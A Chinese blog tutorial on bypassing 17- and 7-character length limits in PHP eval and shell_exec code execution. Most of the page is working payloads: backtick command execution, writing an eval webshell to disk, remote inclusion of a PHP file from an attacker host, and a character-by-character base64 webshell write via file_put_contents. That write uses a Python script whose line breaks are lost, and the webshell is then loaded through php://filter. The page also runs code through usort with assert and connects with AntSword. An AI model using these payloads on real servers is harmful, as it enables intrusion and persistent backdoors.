当前位置: 首页 > news >正文

RCE-eval长度限制突破技巧

目录

一、长度17的限制绕过

1、最简单的绕过

(一)绕过

(二)编写一句话木马

2、文件包含的利用 

(一)远程文件包含的利用

(二)本地文件包含的利用

3、usort绕过

(一)绕过方法:

(二)过程解析

二、长度7的绕过

1、绕过方法:


RCE执行漏洞:
执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用连接工具连接即可

一、长度17的限制绕过

$param = $_REQUEST['param'];
if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false) 
{
eval($param);
}

1、最简单的绕过

(一)绕过

param限制是17,我们只要param传入的参数长度下于17就可以

param=echo `$_GET[1]`;&1=id

可以看到可以执行系统命令了

(二)编写一句话木马

利用之前的命令执行语句创建一个新的php文件

param=echo%20`$_GET[1]`;&1=touch 1.php

进入系统可以看到创建成功
注:如果没有创建成功,大概率是你的www-data对html目录的权限不够,
解决办法:修改权限或修改目录的所属者等等,办法众多

接下来我们往这创建好的文件里写内容:

param=echo%20`$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > 1.php

成功写入!接下来连接蚁剑试试

连接成功!

2、文件包含的利用 

(一)远程文件包含的利用

可以使用远程文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

include包含的所有文件都以php格式运行。

param=include$_GET[1];&1=//192.168.xxx.xxx//get.php

(二)本地文件包含的利用

1、向服务器写入文件并包含

既然文件要利用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?

这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

param=$_GET[a](N,a,8);&a=file_put_contents
刚好16位

file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如  code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。

于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。

咱在只需要将PD9waHAgZXZhbCgkX1BPU1RbMV0pOw一个一个写入到文件里就行

将这些字符通过file_put_contents依次写入文件N中

他的参数有(file,content,type)。第一个是要上传的文件名,第二个是文件内容,第三个为8时就表示像文件追加内容,而不是覆盖

由于字符有点多,手动一个一个有点慢,下面我写了一个脚本,快速执行访问

import requestsstring = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw'for i in string:payload = "http://192.168.217.135/demo.php?param=$_GET[a](N,{},8);&a=file_put_contents".format(i)response = requests.get(payload)if response.status_code == 200:print(i)else:print(response.status_code)

查看结果,写入成功

文件内容写好后,使用文件包含,直接使用蚁剑进行连接

param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

php://filter  ----文件伪协议 

read ----表示读取文件

convert.base64-decode -----表示将文件内容进行base64解码

resource  ----表示读取的文件路径和文件名

因为我编码的内容为:

所以连接时用1来连接 。

3、usort绕过

用于绕过长度限制;

(一)绕过方法:

?1[]=test&1[]=phpinfo();&2=assert
-------------------------------

post传参:

param=usort(...$_GET);

(二)过程解析

通过GET传入两个数据,一个数组,和一个assert函数

通过POST处理传入的GET参数

详细过程如下:

usort函数

['test','phpinfo()'] ,assert

相当于用assert取处理前面数组里面的每一个值

类似于:

usort(['test','phpinfo()'],'assert')

二、长度7的绕过

代码:

$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  echo shell_exec($param);
}

使用之前的:`$_GET[1]` ----长度为10,用不了了

1、绕过方法:

文件确实写入了网站后台目录。

为了节省时间,直接看结果

成功的创建了一个一句话木马文件。

尝试连接试一试

相关文章:

RCE-eval长度限制突破技巧

目录 一、长度17的限制绕过 1、最简单的绕过 &#xff08;一&#xff09;绕过 &#xff08;二&#xff09;编写一句话木马 2、文件包含的利用 &#xff08;一&#xff09;远程文件包含的利用 &#xff08;二&#xff09;本地文件包含的利用 3、usort绕过 &#xff08…...

【黑马】MyBatis

目录 MyBatis简介JDBC缺点&#xff1a;MyBatis针对于JDBC进行简化&#xff0c;简化思路&#xff1a; MyBatis快速入门具体构建步骤解决SQL映射文件的警告提示 Mapper代理开发案例&#xff1a;使用Mapper代理方式完成案例具体步骤详解&#xff1a;Mapper代理方式 Mapper核心配置…...

oracle创建dblink使得数据库A能够访问数据库B表LMEAS_MFG_FM的数据

1、给数据库A普通用户CMRONLINE相应的权限&#xff0c;在sys用户下执行以下语句 GRANT CREATE DATABASE LINK TO CMRONLINE; GRANT DROP PUBLIC DATABASE LINK TO CMRONLINE; GRANT CREATE PUBLIC DATABASE LINK TO CMRONLINE; 2、在数据库A用户 CMRONLINE下执行创建语句&…...

git config 如何配置用户账户

Git配置用户账户主要涉及设置用户名和邮箱地址&#xff0c;这是Git进行版本控制时用于标识提交者身份的重要信息。以下是如何配置Git用户账户的详细步骤&#xff1a; 1. 打开命令行工具 首先&#xff0c;需要打开命令行工具&#xff08;如CMD、Terminal或Git Bash等&#xff…...

SpringBoot基础(二):配置文件详解

SpringBoot基础系列文章 SpringBoot基础(一)&#xff1a;快速入门 SpringBoot基础(二)&#xff1a;配置文件详解 目录 一、配置文件分类二、配置文件优先级1、不同版本优先级2、不同位置优先级 三、配置文件格式1、yml和yaml格式1.1、字符串1.2、布尔类型1.3、整数型1.4、浮点…...

Web安全(一)-靶场搭建过程-基于docker

今天来复习一下web方面的知识 1.1 sqliab环境搭建 基于Centos 和Docker 1.1.1 Vmware环境安装 这个就略去了吧 博主使用的是vmware17pro 具体的密钥什么的大家懂的都懂 这里就不提供了 接下来 将带大家安装centos7的镜像 为了方便操作 这里选择 centos7_minimal 地址如下:…...

【JavaEE】单例模式和阻塞队列

&#x1f525;个人主页&#xff1a; 中草药 &#x1f525;专栏&#xff1a;【Java】登神长阶 史诗般的Java成神之路 &#x1f56f;️一.设计模式 ​ 在Java中&#xff0c;设计模式&#xff08;Design Patterns&#xff09;是指在软件工程和面向对象编程中&#xff0c;针对特定…...

RCE绕过技巧

目录 EVAL长度限制突破技巧 1.使用反引号 2.file_put_contents写入文件 3.php5.6变长参数usort回调后门 命令长度限制突破技巧 1.拼接文件名 无字母数字的webshell命令执行 1.取反码 2.上传临时文件 EVAL长度限制突破技巧 分析代码&#xff1a;首先传递一个param参数&…...

Spring源码解析(31)之事务配置文件解析以及核心对象创建过程

一、前言 首先我们先准备一下spring 事务的配置文件&#xff0c;具体内容如下&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/20…...

win11安装docker报错记录

报错一&#xff1a; Docker Desktop - Unexpected WSL error An unexpected error occurred while executing a WSL command. Either shut down WSL down with wsl --shutdown, and/or reboot your machine. You can also try reinstalling WSL and/or Docker Desktop. If t…...

【vulnhub】CLAMP 1.0.1靶机

信息收集 靶机发现 端口扫描 页面访问&#xff0c;并查看源码 访问 /nt4stopc/,下面有一些问题&#xff0c;提示必须收集答案 一些判断题&#xff0c;对与错对应1与0&#xff0c;最后结果为0110111001&#xff0c;拼接访问 点击图中位置&#xff0c;发现存在参数&#xff0c;p…...

GPS跟踪环路MATLAB之——数字锁相环

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 GPS跟踪环路MATLAB之——数字锁相环 前言为什么要锁相环科斯塔斯环锁相环的一些基本概念1、捕获、锁定与跟踪的概念2、捕获时间和稳态相差3、相位捕获和频率捕获4、捕获带和同…...

docker开发环境搭建-关于数据库的IP是什么

故事的背景是这样的&#xff1a; 我在本地的ubuntu系统上安装了docker&#xff0c;并创建了一个mysql容器&#xff0c;但是在使用DBeaver连接该数据库时&#xff0c;需要填写数据库的ip&#xff0c;填写127.0.0.1&#xff0c;工具提示找不到这个库&#xff0c;然后使用ip addr…...

loginApi

import request from "/utils/request"; import { AxiosPromise } from "axios"; import { CaptchaResult, LoginData, LoginResult } from "./types";/*** 登录API** param data {LoginData}* returns*/ export function loginApi(data: LoginD…...

【RAG检索增强生成】Ollama+AnythingLLM本地搭建RAG大模型私有知识库

目录 前言一、Ollama&#xff1a;革新性的本地LLM服务工具1.核心优势2.技术亮点 二、AnythingLLM 概览1.核心特性2.技术生态支持 三、搭建本地智能知识库1. Ollama的安装启航2. AnythingLLM的安装对接3. AnythingLLM的配置精调4. 工作区与文档管理5. 聊天与检索的智能交互 四、…...

【wiki知识库】08.添加用户登录功能--前端Vue部分修改

&#x1f34a; 编程有易不绕弯&#xff0c;成长之路不孤单&#xff01; 目录 &#x1f34a; 编程有易不绕弯&#xff0c;成长之路不孤单&#xff01; 一、今日目标 二、前端Vue模块的修改 2.1 the-header组件 2.2 store工具 2.3 router路由配置修改 一、今日目标 上篇文章…...

写给非机器学习人员的 embedding 入门

你好&#xff0c;我是 shengjk1&#xff0c;多年大厂经验&#xff0c;努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注&#xff01;你会有如下收益&#xff1a; 了解大厂经验拥有和大厂相匹配的技术等 希望看什么&#xff0c;评论或者私信告诉我&#xff01; 文章目录 一…...

Oracle【plsql编写九九乘法表】

九九乘法表 DECLAREi NUMBER : 1;j NUMBER : 1; BEGINFOR i IN 1 .. 9LOOPFOR j IN 1 .. iLOOPDBMS_OUTPUT.put (i || * || j || || i * j || );END LOOP;DBMS_OUTPUT.put_line ( );END LOOP; END;输出结果...

ansible安装K8s

部署Kubernetes (k8s) 集群使用Ansible是一个常见的自动化解决方案。下面我将提供一个基本的步骤概述和所需的命令&#xff0c;用于在CentOS 7.8上使用Ansible部署k8s集群&#xff0c;包括Master节点和Worker节点&#xff08;Web和DB节点&#xff09;。 步骤 1: 准备环境 确保所…...

restful传值

GetMapping 普通的get请求 后端&#xff1a; restfule的get请求 通过/asd/123这种方式get请求传入后端 前端 url: /system/role/deptTree/ roleId / tenantId, method: get后端PathVariable从path上取对应的值 通过 GetMapping(value "/deptTree/{roleId}/{tenan…...

进程地址空间(比特课总结)

一、进程地址空间 1. 环境变量 1 &#xff09;⽤户级环境变量与系统级环境变量 全局属性&#xff1a;环境变量具有全局属性&#xff0c;会被⼦进程继承。例如当bash启动⼦进程时&#xff0c;环 境变量会⾃动传递给⼦进程。 本地变量限制&#xff1a;本地变量只在当前进程(ba…...

深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法

深入浅出&#xff1a;JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中&#xff0c;随机数的生成看似简单&#xff0c;却隐藏着许多玄机。无论是生成密码、加密密钥&#xff0c;还是创建安全令牌&#xff0c;随机数的质量直接关系到系统的安全性。Jav…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

有限自动机到正规文法转换器v1.0

1 项目简介 这是一个功能强大的有限自动机&#xff08;Finite Automaton, FA&#xff09;到正规文法&#xff08;Regular Grammar&#xff09;转换器&#xff0c;它配备了一个直观且完整的图形用户界面&#xff0c;使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)

在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马&#xff08;服务器方面的&#xff09;的原理&#xff0c;连接&#xff0c;以及各种木马及连接工具的分享 文件木马&#xff1a;https://w…...

深度学习习题2

1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!

简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求&#xff0c;并检查收到的响应。它以以下模式之一…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)

macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 &#x1f37a; 最新版brew安装慢到怀疑人生&#xff1f;别怕&#xff0c;教你轻松起飞&#xff01; 最近Homebrew更新至最新版&#xff0c;每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

毫米波雷达基础理论(3D+4D)

3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文&#xff1a; 一文入门汽车毫米波雷达基本原理 &#xff1a;https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...

django blank 与 null的区别

1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是&#xff0c;要注意以下几点&#xff1a; Django的表单验证与null无关&#xff1a;null参数控制的是数据库层面字段是否可以为NULL&#xff0c;而blank参数控制的是Django表单验证时字…...